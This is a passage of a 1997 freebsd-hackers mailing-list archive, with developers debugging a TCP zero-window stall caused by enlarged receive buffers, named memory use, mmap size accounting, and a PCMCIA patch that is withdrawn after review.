D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Jaye Mathisen on Oct 8, 1997 10:44:28 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Jaye Mathisen wrote: > I traced it to a sysctl I had in /etc/rc.local that bumped the tcp > recvspace to 65536. > > Resetting it to the default clears the problem up. You are not running -current. ;-) RCS file: /home/cvs/src/sys/netinet/tcp_output.c,v ... revision 1.27 date: 1997/10/07 21:10:06; author: fenner; state: Exp; lines: +3 -3 Don't allow the window to be increased beyond what is possible to represent in the TCP header. The old code did effectively: win = min(win, MAX_ALLOWED); win = max(win, what_i_think_i_advertised_last_time); so if what_i_think_i_advertised_last_time is bigger than can be represented in the header (e.g. large buffers and no window scaling) then we stuff a too-big number into a short. This fix reverses the order of the comparisons. PR: kern/4712 -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Wed Oct 8 13:47:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA13841 for hackers-outgoing; Wed, 8 Oct 1997 13:47:51 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA13836 for ; Wed, 8 Oct 1997 13:47:46 -0700 (PDT) (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id NAA23046; Wed, 8 Oct 1997 13:48:16 -0700 (PDT) Message-Id: <199710082048.NAA23046@implode.root.com> To: sthaug@nethelp.no cc: gordon@drogon.net, hackers@FreeBSD.ORG Subject: Re: Wheres all my memory going? In-reply-to: Your message of "Wed, 08 Oct 1997 19:16:24 +0200." <2042.876330984@verdi.nethelp.no> From: David Greenman Reply-To: dg@root.com Date: Wed, 08 Oct 1997 13:48:16 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> but what's quite unusual is the size of your named process: >> >> UID PID PPID CPU PRI NI VSZ RSS WCHAN STAT TT TIME COMMAND >> 0 287 1 9 2 0 290060 840 select Ss ?? 237:40.19 named >> >> ...almost 300MB of virtual memory? Wow! I'd ask just what you were >> primary/secondary for, but I don't think I want to know. :-) > >He said he was trying to run a top-level-domain nameserver. If that means >he includes the RRs for COM (and EDU, and NET) like some of the root >servers do, I'm not the least bit surprised about this size. Consider: Ahh...I missed that part. Yes, this makes sense then. That also explains the large number of network buffers (from nameserver queries). The strange thing is that the server got almost completely paged out...I wonder if named forked some children to do the zone transfers and I wonder if this is what caused the main server to be pushed out. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Wed Oct 8 14:00:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA14283 for hackers-outgoing; Wed, 8 Oct 1997 14:00:27 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr05.primenet.com (tlambert@usr05.primenet.com [206.165.6.205]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA14278 for ; Wed, 8 Oct 1997 14:00:21 -0700 (PDT) (envelope-from tlambert@usr05.primenet.com) Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id NAA11442; Wed, 8 Oct 1997 13:57:56 -0700 (MST) From: Terry Lambert Message-Id: <199710082057.NAA11442@usr05.primenet.com> Subject: Re: Wheres all my memory going? To: dg@root.com Date: Wed, 8 Oct 1997 20:57:56 +0000 (GMT) Cc: dag-erli@ifi.uio.no, gordon@drogon.net, mike@smith.net.au, hackers@FreeBSD.ORG In-Reply-To: <199710081859.LAA22364@implode.root.com> from "David Greenman" at Oct 8, 97 11:59:22 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > FreeBSD and other 4.4BSD derived OSes don't include the space consumed by > mmap'ed files (except the one being execed) in the 'SIZE'. The virtual size > as reported is the sum of text+data+bss+heap+stack. This is a "bug" of sorts, > but is difficult to fix. You mean "clean pages which have not triggered copy-on-write are not counted", right? I don't think this is a bug. I think clean pages should not be counted, if the file is being used as swap store. That said, I think there are several cases where it would be *very* desirable to be able to flag clean pages as "must be resident in swap". Mostly, these are dataless configurations, such that the client machine does not hang on a page-in of a page for a running application should the NFS server go down. I admit that this is not very typical usage, but I think that has more to do with support technology (like read-only mounting of / and /usr) than relative desirability of the configuration. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Oct 8 14:04:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA14415 for hackers-outgoing; Wed, 8 Oct 1997 14:04:15 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from hwcn.org (main.hwcn.org [199.212.94.65]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA14406; Wed, 8 Oct 1997 14:04:10 -0700 (PDT) (envelope-from hoek@hwcn.org) Received: from james.freenet.hamilton.on.ca (ac199@james.hwcn.org [199.212.94.66]) by hwcn.org (8.8.7/8.8.7) with ESMTP id RAA05683; Wed, 8 Oct 1997 17:04:41 -0400 (EDT) Received: from localhost (ac199@localhost) by james.freenet.hamilton.on.ca (8.8.7/8.8.7) with SMTP id RAA21911; Wed, 8 Oct 1997 17:05:02 -0400 (EDT) X-Authentication-Warning: james.freenet.hamilton.on.ca: ac199 owned process doing -bs Date: Wed, 8 Oct 1997 17:05:01 -0400 (EDT) From: Tim Vanderhoek X-Sender: ac199@james.freenet.hamilton.on.ca To: Nate Williams cc: Terry Lambert , adrian@virginia.edu, rminnich@sarnoff.com, dcarmich@mcs.com, freebsd-hackers@FreeBSD.ORG, freebsd-smp@FreeBSD.ORG Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD In-Reply-To: <199710062126.PAA01718@rocky.mt.sri.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 6 Oct 1997, Nate Williams wrote: > Legion in the Bible is translated to mean 'more than one Demon' (note > the difference in spelling. Chuck is a singular entity, and one whose > purpose is to do good, not evil. Hmm... Maybe "host"? :) -- Outnumbered? Maybe. Outspoken? Never! tIM...HOEk From owner-freebsd-hackers Wed Oct 8 14:14:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA14873 for hackers-outgoing; Wed, 8 Oct 1997 14:14:14 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from Octopussy.MI.Uni-Koeln.DE (Octopussy.MI.Uni-Koeln.DE [134.95.166.20]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id OAA14857 for ; Wed, 8 Oct 1997 14:14:02 -0700 (PDT) (envelope-from se@zpr.uni-koeln.de) Received: from x14.mi.uni-koeln.de ([134.95.219.124]) by Octopussy.MI.Uni-Koeln.DE with SMTP id AA04314 (5.67b/IDA-1.5 for ); Wed, 8 Oct 1997 23:13:18 +0200 Received: (from se@localhost) by x14.mi.uni-koeln.de (8.8.7/8.6.9) id WAA01055; Wed, 8 Oct 1997 22:09:37 +0200 (CEST) X-Face: " Date: Wed, 8 Oct 1997 22:09:36 +0200 From: Stefan Esser To: Ted Faber Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: patch for PCMCIA support on Hitachi Mx133 References: <199710080012.RAA06115@vermouth.isi.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84 In-Reply-To: <199710080012.RAA06115@vermouth.isi.edu>; from Ted Faber on Tue, Oct 07, 1997 at 05:12:46PM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On 1997-10-07 17:12 -0700, Ted Faber wrote: > The following patch is allows the use of a Cirrus Logic PD6832 Cardbus > PCMCIA controller chip in 16 bit legacy mode. It's relative to a PAO > kernel based directly on 2.2.2-RELEASE (the PAO release is PAO-970616 which > is available from http://www.jp.FreeBSD.org/PAO/). Although I occasionally > patch things when I need the functionality, I don't mirror current or > stable, which is why this patch is from these sources. The patches are > small, so they should be easy to integrate with PCI support in pcic.c , if > there is any forthcoming. I'm interested in providing the PCI hooks that might be necessary, but I do not have access to any hardware to test that code myself. Since I'm quite busy at my job, currently, I may not be able to read mail for several days or a week at a time. Please be patient, if I don't reply to some message ... > #define PCI_MAP_REG_START 0x10 > ! #define PCI_MAP_REG_END 0x28 > --- 139,145 ---- > #define PCI_MAP_REG_START 0x10 > ! #define PCI_MAP_REG_END 0x3f NO PLEASE DON'T ! This change will break the PCI code (in certain situations) !!! I don't have time to work out a better patch currently, but will try to look into this, as soon as possible. There is some support for PCI to CardBus bridges in -current. Please have a look at it, meanwhile ... Regards, STefan From owner-freebsd-hackers Wed Oct 8 14:21:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA15307 for hackers-outgoing; Wed, 8 Oct 1997 14:21:08 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA15296 for ; Wed, 8 Oct 1997 14:20:57 -0700 (PDT) (envelope-from faber@ISI.EDU) Received: from ISI.EDU (vex-s.isi.edu [128.9.192.240]) by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA17919; Wed, 8 Oct 1997 13:30:36 -0700 (PDT) Message-Id: <199710082030.NAA17919@tnt.isi.edu> To: hosokawa@ntc.keio.ac.jp (HOSOKAWA Tatsumi) Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: patch for PCMCIA support on Hitachi Mx133 In-Reply-To: Your message of "Wed, 08 Oct 1997 10:31:41 +0900." <199710080131.KAA29907@afs.ntc.mita.keio.ac.jp> X-Url: http://www.isi.edu/~faber Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 08 Oct 1997 13:30:36 -0700 From: Ted Faber Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- HOSOKAWA Tatsumi wrote: >In article <199710080012.RAA06115@vermouth.isi.edu> >faber@ISI.EDU writes: >Okay, we'll test this patch. >BTW, I have no 6832 machine, but I wrote a newer test support for >6832 based on the datasheet I got from Cirrus Logic. > >Please review this patch. >ftp://jaz.jp.freebsd.org/pub/FreeBSD-jp/PAO/test/sys-pao-970923-test.patch.gz Your code seems to work beautifully. I wouldn't worry about integrating my code, which is more of a quick hack. I didn't see any pointers to the patch you pointed out on the web page. Are the new snaps only announced on the nomads mailing list? - ---------------------------------------------------------------------- Ted Faber faber@isi.edu USC/ISI Computer Scientist http://www.isi.edu/~faber (310) 822-1511 x190 PGP Key: http://www.isi.edu/~faber/pubkey.asc -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBNDvta4b4eisfQ5rpAQHdJQP/U5vXByOy71HpApL1Jkbj+dwIR8J4XpKz D/W1x/Vpw482RM/ANkXpEAoRHX0SaC+1W2y+0BRDV5iSAIIqYdGiNdLr+bnxw5/O xpHVSz63tA+qOerLCx6aym/AzrfhbNY/qI7AjHGISDs3PPRRTVDAuyn9DfI0DAl9 ATWSxCPNf7E= =mlpe -----END PGP SIGNATURE----- From owner-freebsd-hackers Wed Oct 8 14:22:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA15399 for hackers-outgoing; Wed, 8 Oct 1997 14:22:36 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA15394 for ; Wed, 8 Oct 1997 14:22:32 -0700 (PDT) (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id OAA23309; Wed, 8 Oct 1997 14:23:32 -0700 (PDT) Message-Id: <199710082123.OAA23309@implode.root.com> To: Terry Lambert cc: hackers@FreeBSD.ORG Subject: Re: Wheres all my memory going? In-reply-to: Your message of "Wed, 08 Oct 1997 20:57:56 -0000." <199710082057.NAA11442@usr05.primenet.com> From: David Greenman Reply-To: dg@root.com Date: Wed, 08 Oct 1997 14:23:32 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> FreeBSD and other 4.4BSD derived OSes don't include the space consumed by >> mmap'ed files (except the one being execed) in the 'SIZE'. The virtual size >> as reported is the sum of text+data+bss+heap+stack. This is a "bug" of sorts, >> but is difficult to fix. > >You mean "clean pages which have not triggered copy-on-write are not >counted", right? No, I mean mmap'ed files (excluding the original executable) aren't counted in the virtual size at all, ever - modified or not. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Wed Oct 8 14:34:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA16001 for hackers-outgoing; Wed, 8 Oct 1997 14:34:57 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA15994 for ; Wed, 8 Oct 1997 14:34:52 -0700 (PDT) (envelope-from mrcpu@cdsnet.net) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.6/8.8.6) with SMTP id OAA09279; Wed, 8 Oct 1997 14:34:24 -0700 (PDT) Date: Wed, 8 Oct 1997 14:34:23 -0700 (PDT) From: Jaye Mathisen To: Joerg Wunsch cc: hackers@FreeBSD.ORG Subject: Re: A TCP problem, plus solution! (3.0-current) In-Reply-To: <19971008215018.SO62644@uriah.heep.sax.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Must've just missed it, as I cvsup'd yesterday sometime. On Wed, 8 Oct 1997, J Wunsch wrote: > As Jaye Mathisen wrote: > > > I traced it to a sysctl I had in /etc/rc.local that bumped the tcp > > recvspace to 65536. > > > > Resetting it to the default clears the problem up. > > You are not running -current. ;-) > > RCS file: /home/cvs/src/sys/netinet/tcp_output.c,v > ... > revision 1.27 > date: 1997/10/07 21:10:06; author: fenner; state: Exp; lines: +3 -3 > Don't allow the window to be increased beyond what is possible to > represent in the TCP header. The old code did effectively: > win = min(win, MAX_ALLOWED); > win = max(win, what_i_think_i_advertised_last_time); > so if what_i_think_i_advertised_last_time is bigger than can be > represented in the header (e.g. large buffers and no window scaling) > then we stuff a too-big number into a short. This fix reverses the > order of the comparisons. > > PR: kern/4712 > > -- > cheers, J"org > > joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE > Never trust an operating system you don't have sources for. ;-) > From owner-freebsd-hackers Wed Oct 8 14:35:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA16061 for hackers-outgoing; Wed, 8 Oct 1997 14:35:22 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from gaia.coppe.ufrj.br (jonny@cisigw.coppe.ufrj.br [146.164.5.200]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA16047 for ; Wed, 8 Oct 1997 14:35:17 -0700 (PDT) (envelope-from jonny@coppe.ufrj.br) Received: (from jonny@localhost) by gaia.coppe.ufrj.br (8.8.7/8.8.7) id TAA24677; Wed, 8 Oct 1997 19:34:43 -0200 (EDT) From: Joao Carlos Mendes Luis Message-Id: <199710082134.TAA24677@gaia.coppe.ufrj.br> Subject: Re: TCP problem In-Reply-To: <19971008084717.VY20773@uriah.heep.sax.de> from J Wunsch at "Oct 8, 97 08:47:17 am" To: joerg_wunsch@uriah.heep.sax.de Date: Wed, 8 Oct 1997 19:34:43 -0200 (EDT) Cc: hackers@FreeBSD.ORG, jonny@coppe.ufrj.br X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk #define quoting(J Wunsch) // > 22:49:35.574865 146.164.5.200.2038 > 146.164.53.91.19: S 1153321686:1153321686(0) win 65535 (DF) [tos 0x10] (ttl 64, id 38631) // // Btw., you should run tcpdump with a larger snaplen (-s 200 for // example). The "|tcp" above means you don't see the complete packet // options displayed. Probably not very important here, though. This happens with any kind of TCP connection. I used chargen just for demonstration purposes. // > 22:49:35.576498 146.164.53.91.19 > 146.164.5.200.2038: S 2381730138:2381730138(0) ack 1153321687 win 31744 (ttl 63, id 13086) // > 22:49:35.576825 146.164.5.200.2038 > 146.164.53.91.19: . ack 1 win 164 (DF) [tos 0x10] (ttl 64, id 38632) // // What looks interesting to me is that, while the SYN packet offered a // window of 64 K, the first data packet only offers 164 bytes. And: // // > 22:49:35.614489 146.164.53.91.19 > 146.164.5.200.2038: P 1:75(74) ack 1 win 31744 (DF) [tos 0x10] (ttl 63, id 13088) // > 22:49:35.804015 146.164.5.200.2038 > 146.164.53.91.19: . ack 75 win 90 (DF) [tos 0x10] (ttl 64, id 38638) // > 22:49:36.646712 146.164.53.91.19 > 146.164.5.200.2038: P 75:165(90) ack 1 win 31744 [tos 0x10] (ttl 63, id 13091) // > 22:49:36.804033 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 64, id 38646) // // ...none of these bytes are claimed to be delivered to the application, ???? The application in case was telnet, and it has received the data. // so the window goes 0 for some reason. You see it stopping always at the // same point since it's probably always offering exactly the same 164 bytes // in the first data packet. // // You might get some hints out of `netstat -s', perhaps. Looking for mbuf leakage as David suggested or nothing in particular ? // What makes me wonder is why it's offering a 64 KB window in the first // SYN at all? If i try it here, it only offers 16 KB. Did you // manipulate the TCP-related kernel variables? I remember there was Uh, er, yes... :) I wanted to test some parameters in order to push network performance since this machine is a mid-sized squid server that I'm using to project bigger ones. /usr/sbin/sysctl -w kern.somaxconn=1024 /usr/sbin/sysctl -w kern.maxsockbuf=1048576 /usr/sbin/sysctl -w net.inet.tcp.sendspace=65536 /usr/sbin/sysctl -w net.inet.tcp.recvspace=65536 /usr/sbin/sysctl -w net.inet.tcp.always_keepalive=1 But the problem in question does not always happen. And when it happens, it only happens with the Linux machine. It continues working perfectly with other machines. // another bug report yesterday where increasing some TCP parameter // yielded an unusable connection. I think Bill has fixed something in // this area yesterday. Has this been integrated to RELENG_2_2 ? Jonny -- Joao Carlos Mendes Luis jonny@gta.ufrj.br +55 21 290-4698 jonny@coppe.ufrj.br Universidade Federal do Rio de Janeiro UFRJ/COPPE/CISI PGP fingerprint: 29 C0 50 B9 B6 3E 58 F2 83 5F E3 26 BF 0F EA 67 From owner-freebsd-hackers Wed Oct 8 14:37:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA16233 for hackers-outgoing; Wed, 8 Oct 1997 14:37:43 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA16213; Wed, 8 Oct 1997 14:37:35 -0700 (PDT) (envelope-from faber@ISI.EDU) Received: from ISI.EDU (vex-s.isi.edu [128.9.192.240]) by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA21262; Wed, 8 Oct 1997 14:37:34 -0700 (PDT) Message-Id: <199710082137.OAA21262@tnt.isi.edu> To: Stefan Esser Cc: freebsd-hackers@freebsd.org Subject: Re: patch for PCMCIA support on Hitachi Mx133 In-Reply-To: Your message of "Wed, 08 Oct 1997 22:09:36 +0200." <19971008220936.20316@mi.uni-koeln.de> X-Url: http://www.isi.edu/~faber Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 08 Oct 1997 14:37:34 -0700 From: Ted Faber Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Stefan Esser wrote: >Ted Faber (wrongly) suggested: >> #define PCI_MAP_REG_START 0x10 >> ! #define PCI_MAP_REG_END 0x28 >> --- 139,145 ---- >> #define PCI_MAP_REG_START 0x10 >> ! #define PCI_MAP_REG_END 0x3f > >NO PLEASE DON'T ! > >This change will break the PCI code (in certain situations) !!! I've now seen the most recent PAO patch which supports the card without changing this file. I think it's a much better plan to use the PAO patch than mine. You shouldn't spend any more time looking at it, and my patch certainly should not be integrated. Thanks for pointing this potential big problem out. - ---------------------------------------------------------------------- Ted Faber faber@isi.edu USC/ISI Computer Scientist http://www.isi.edu/~faber (310) 822-1511 x190 PGP Key: http://www.isi.edu/~faber/pubkey.asc -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBNDv9HYb4eisfQ5rpAQE9+wQAtWhgegjxf1hzkglUqjAePEipiE6zPv8O 5eHkFLFSw4br5rZLHvtQ10sSXHCyYJmKCpIwclDTwqbHhyKmlzUZXb4hx773Et3s GT/VrroKO4+Y4UNEwu+8XE6FDp7FIejLwRurRlaxT7kOpaDizJ+uJgvi7ZOXFwhu sts7WnqNDDE= =7Gib -----END PGP SIGNATURE----- From owner-freebsd-hackers Wed Oct 8 14:38:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA16292 for hackers-outgoing; Wed, 8 Oct 1997 14:38:37 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from gaia.coppe.ufrj.br (jonny@cisigw.coppe.ufrj.br [146.164.5.200]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA16287 for ; Wed, 8 Oct 1997 14:38:35 -0700 (PDT) (envelope-from jonny@coppe.ufrj.br) Received: (from jonny@localhost) by gaia.coppe.ufrj.br (8.8.7/8.8.7) id TAA24724; Wed, 8 Oct 1997 19:38:25 -0200 (EDT) From: Joao Carlos Mendes Luis Message-Id: <199710082138.TAA24724@gaia.coppe.ufrj.br> Subject: Re: TCP problem In-Reply-To: <199710080405.VAA16407@implode.root.com> from David Greenman at "Oct 7, 97 09:05:48 pm" To: dg@root.com Date: Wed, 8 Oct 1997 19:38:25 -0200 (EDT) Cc: jonny@coppe.ufrj.br, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk #define quoting(David Greenman) // > I have an intermitent TCP problem between a FreeBSD 2.2-STABLE and a // >2.0.27 Linux. It's happening right now, let me show an example: // ... // >22:49:36.804033 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 64, id 38646) // // This indicates that the window has completely closed and isn't reopening. Good point... But why ? // What type of ethernet card is in the FreeBSD machine? This might indicate that It's 21040 based one. I'm not sure which one exactly, but think it's a DEC DE435. // the machine has run out of network buffers...does the console indicate // anything (like "Out of mbuf clusters")? "grep -i mbuf /var/log/messages" shows nothing. And it's old enough. Jonny -- Joao Carlos Mendes Luis jonny@gta.ufrj.br +55 21 290-4698 jonny@coppe.ufrj.br Universidade Federal do Rio de Janeiro UFRJ/COPPE/CISI PGP fingerprint: 29 C0 50 B9 B6 3E 58 F2 83 5F E3 26 BF 0F EA 67 From owner-freebsd-hackers Wed Oct 8 14:53:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA17118 for hackers-outgoing; Wed, 8 Oct 1997 14:53:43 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from gaia.coppe.ufrj.br (jonny@cisigw.coppe.ufrj.br [146.164.5.200]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA17104 for ; Wed, 8 Oct 1997 14:53:36 -0700 (PDT) (envelope-from jonny@coppe.ufrj.br) Received: (from jonny@localhost) by gaia.coppe.ufrj.br (8.8.7/8.8.7) id TAA24952; Wed, 8 Oct 1997 19:53:09 -0200 (EDT) From: Joao Carlos Mendes Luis Message-Id: <199710082153.TAA24952@gaia.coppe.ufrj.br> Subject: Re: TCP problem In-Reply-To: <19971008124102.17436@lemis.com> from Greg Lehey at "Oct 8, 97 12:41:02 pm" To: grog@lemis.com (Greg Lehey) Date: Wed, 8 Oct 1997 19:53:08 -0200 (EDT) Cc: jonny@coppe.ufrj.br, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk #define quoting(Greg Lehey) // > but there's a problem somewhere. The very strange thing is that's // > intermitent. Most of the time it works perfectly. // > // > Also curious, the chargen always stops at the same char. // // The 01? Yes. 160 chars received by telnet. But tcpdump shows 164 chars transfered, curiously... 22:49:35.614489 146.164.53.91.19 > 146.164.5.200.2038: P 1:75(74) ack 1 win 31744 (DF) [tos 0x10] (ttl 63, id 13088) 22:49:35.804015 146.164.5.200.2038 > 146.164.53.91.19: . ack 75 win 90 (DF) [tos 0x10] (ttl 64, id 38638) 22:49:36.646712 146.164.53.91.19 > 146.164.5.200.2038: P 75:165(90) ack 1 win 31744 [tos 0x10] (ttl 63, id 13091) 22:49:36.804033 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 64, id 38646) // > I have no problem connecting from/to other machines to/from both of these. // // Is this just a problem with a single connection, or with all // communication between the two machines? Are there other machines on All kind of tcp communication. ssh, smtp, http, etc. // the net? If so, how do they communicate with these two machines? No problem at all, as far as I could see. To get into the linux machine ssh'ed to a Solaris one, and then ssh'd again from there. // > Rebooting the Linux machine does not solve the problem, but rebooting the // > FreeBSD one does solve, so I think it's a FreeBSD problem. Any suggestions ? // // The traces show that the machine with the trouble is IP 146.164.53.91. // The dumps on both sides show 146.164.53.91 retrying an ack, and // 146.164.53.200 responding to it immediately. To get the sequence // straight, look at the timestamps: // // > 22:47:22.885018 146.164.53.91.19 > 146.164.5.200.2038: . ack 1 win 31744 [tos 0x10] (ttl 64, id 13098) // > 22:47:22.885018 146.164.5.200.2038 > 146.164.53.91.19: . ack 165 win 0 (DF) [tos 0x10] (ttl 63, id 38673) // // Interesting. This is the Linux box, and it claims a response in 0 // µs. In fact, since the last 4 digits of the timestamp are always // 5018, I assume that it can't resolve more than .01 s. It's a misfeature, but not necessarily a bug. // Since the tcpdump on the Linux side shows the data going in, I can // only imagine it's a bug in the Linux TCP/IP stack. // // So why does it recover when you reboot the FreeBSD machine? Probably // a connection reset when the machine comes up. It should also recover Nope, since this happens to EVERY tcp connection. // if you reboot the Linux box, and possibly if you take the interface // down and up again. I did reboot linux first, as a Linux bug was my first thought. It did not solve. I think the 0-sized window problem is the one, as David pointed. Also, FreeBSD is sending these packets as "Don't Fragment", is this a "feature" ? Jonny -- Joao Carlos Mendes Luis jonny@gta.ufrj.br +55 21 290-4698 jonny@coppe.ufrj.br Universidade Federal do Rio de Janeiro UFRJ/COPPE/CISI PGP fingerprint: 29 C0 50 B9 B6 3E 58 F2 83 5F E3 26 BF 0F EA 67 From owner-freebsd-hackers Wed Oct 8 15:01:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA17700 for hackers-outgoing; Wed, 8 Oct 1997 15:01:19 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from gaia.coppe.ufrj.br (jonny@cisigw.coppe.ufrj.br [146.164.5.200]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA17680 for ; Wed, 8 Oct 1997 15:00:48 -0700 (PDT) (envelope-from jonny@coppe.ufrj.br) Received: (from jonny@localhost) by gaia.coppe.ufrj.br (8.8.7/8.8.7) id TAA25204; Wed, 8 Oct 1997 19:59:19 -0200 (EDT) From: Joao Carlos Mendes Luis Message-Id: <199710082159.TAA25204@gaia.coppe.ufrj.br> Subject: Re: A TCP problem, plus solution! (3.0-current) In-Reply-To: from Jaye Mathisen at "Oct 8, 97 10:44:28 am" To: mrcpu@cdsnet.net (Jaye Mathisen) Date: Wed, 8 Oct 1997 19:59:19 -0200 (EDT) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk #define quoting(Jaye Mathisen) // I've been having similar issues that where mentioned here yesterday by // somebody. Me. :) // I've been racking my brain trying to figure out why my 3.0-current // box has been unable to telnet to my USR TC racks. I can telnet to my USR NetServer/16 without problem. Indeed, the problem here is not a permanent one. It happens just once in a while. // I get the connected message, and then nothing. tcpdump shows similar // activity to what's been posted. // // I traced it to a sysctl I had in /etc/rc.local that bumped the tcp // recvspace to 65536. // // Resetting it to the default clears the problem up. I'm using recvspace as 65336 too. I'll try lowering it next the time it happens. Jonny -- Joao Carlos Mendes Luis jonny@gta.ufrj.br +55 21 290-4698 jonny@coppe.ufrj.br Universidade Federal do Rio de Janeiro UFRJ/COPPE/CISI PGP 